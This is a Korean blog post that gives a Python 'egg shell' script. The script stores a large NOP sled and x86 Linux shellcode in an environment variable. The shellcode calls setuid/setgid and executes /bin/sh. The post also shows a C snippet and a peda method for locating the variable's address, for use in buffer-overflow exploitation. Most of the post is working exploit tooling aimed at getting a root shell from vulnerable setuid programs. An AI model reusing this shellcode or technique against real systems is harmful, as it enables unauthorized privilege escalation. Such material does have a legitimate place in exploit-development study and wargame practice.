티스토리 뷰
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | import sys import os from ctypes import cdll shellcode="\x90"*100000 shellcode+="\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x53\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" if len(sys.argv) is 2: environ_name = sys.argv[1] else: environ_name = 'EGG' libc = cdll.LoadLibrary("libc.so.6") os.environ[environ_name]=shellcode egg = os.environ[environ_name] print "created environ name : " + environ_name libc.printf("Return Address : %p\n", egg) os.system("/bin/bash") | cs |
가끔 eggshell을 사용할 때 gcc를 사용하기가 귀찮아서 python을 사용해 eggshell을 작성해 보았다. Return Address를 출력하는 부분 또한 만들긴 했으나, 역시나 환경변수의 주소가 정확하게 출력되지 않는다.
사용법
$ python egg.py [environ_name] | cs |
- 실행화면
환경변수의 진짜 주소 찾기
- c언어를 이용한 코딩
1 2 3 4 5 6 | #include <stdio.h> int main() { printf("Addr = %p\n", getenv("EGG")); } | cs |
gcc 컴파일 후 실행하면 출력됨.
- peda를 사용한 검색 ※ peda의 설치 필요
대충 실행을 한 후, peda의 find 기능을 이용해 EGG를 검색하면 검색해서 발견한 주소를 출력해준다.
--------------------------------------------------------------------------------------------------------------------------------------
언젠가 좀 더 제대로 된 버전으로...
'Programming > Python' 카테고리의 다른 글
Windows python 모듈 설치 정리 (0) | 2017.10.01 |
---|---|
Windows Python 환경 변수 등록 및 pip 설치 (0) | 2017.10.01 |
BeautifulSoup 안 쓰고 만드는 Python 크롤러 (2) | 2017.03.31 |
Python 모듈별 정리본 (0) | 2016.09.12 |
ctypes 모듈 개인 정리 (0) | 2016.04.30 |
댓글